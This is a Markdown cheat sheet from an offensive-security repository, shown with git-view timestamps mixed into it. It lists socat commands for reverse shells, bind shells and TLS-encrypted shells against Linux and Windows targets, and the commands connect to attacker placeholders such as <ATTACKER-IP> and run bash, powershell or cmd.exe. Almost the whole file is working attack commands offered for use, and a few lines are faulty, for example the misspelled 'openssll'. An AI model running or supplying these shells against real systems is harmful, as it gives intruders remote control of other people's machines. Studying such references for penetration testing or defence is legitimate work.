killchain-compendium/Reverse Shells/socat.md

101 lines
1.6 KiB
Markdown
Raw Permalink Normal View History

2022-11-13 16:00:22 +01:00
# socat cheat sheet
## Reverse Shell
2026-05-26 22:15:27 +02:00
2022-11-13 16:00:22 +01:00
### reverse shell listener
2026-05-26 22:15:27 +02:00
```sh
socat tcp-l:<port> -
```
```sh
socat TCP-L:<PORT> file:`tty`,raw,echo=0
```
2022-11-13 16:00:22 +01:00
### windows target
2026-05-26 22:15:27 +02:00
2022-11-13 16:00:22 +01:00
```sh
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
```
### linux target
2026-05-26 22:15:27 +02:00
2022-11-13 16:00:22 +01:00
```sh
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```
## Bind Shell
2026-05-26 22:15:27 +02:00
2022-11-13 16:00:22 +01:00
### generic connect
2026-05-26 22:15:27 +02:00
```sh
socat TCP:<TARGET-IP>:<TARGET-PORT> -
```
2022-11-13 16:00:22 +01:00
### windows target listener
2026-05-26 22:15:27 +02:00
```sh
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
```
2022-11-13 16:00:22 +01:00
### linux target listener
2026-05-26 22:15:27 +02:00
```sh
socat TCP-L:<PORT> EXEC:"bash -li"
```
2022-11-13 16:00:22 +01:00
## Connect from statically compiled socat to LHOST
2026-05-26 22:15:27 +02:00
2022-11-13 16:00:22 +01:00
Binary is inside this dir
2026-05-26 22:15:27 +02:00
```sh
socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```
2022-11-13 16:00:22 +01:00
## Encrypted Shell
2026-05-26 22:15:27 +02:00
2022-11-13 16:00:22 +01:00
### create key + cert
2026-05-26 22:15:27 +02:00
```sh
openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
```
2022-11-13 16:00:22 +01:00
### create pem file
2026-05-26 22:15:27 +02:00
```sh
cat shell.key shell.crt > shell.pem
```
2022-11-13 16:00:22 +01:00
### reverse shell listener
2026-05-26 22:15:27 +02:00
```sh
socat openssl-listen:<port>,cert=shell.pem,verify=0 -
```
```sh
socat openssl-listen:<port>,cert=shell.pem,verify=0 file:`tty`,raw,echo=0
```
2022-11-13 16:00:22 +01:00
### connecting shell on target to listener
2026-05-26 22:15:27 +02:00
```sh
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:/bin/bash
```
```sh
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane
```
2022-11-13 16:00:22 +01:00
### encrypted bind shell on windows listening
2026-05-26 22:15:27 +02:00
Target:
2022-11-13 16:00:22 +01:00
2026-05-26 22:15:27 +02:00
```sh
socat openssl-listen:<local-ip>:<local-port>,verify=0 exec:cmd.exe,pipes
```
### encrypted bind shell attacker connecting
2022-11-13 16:00:22 +01:00
2026-05-26 22:15:27 +02:00
```sh
socat openssl:<port>,cert=shell.pem,verify=0 -
```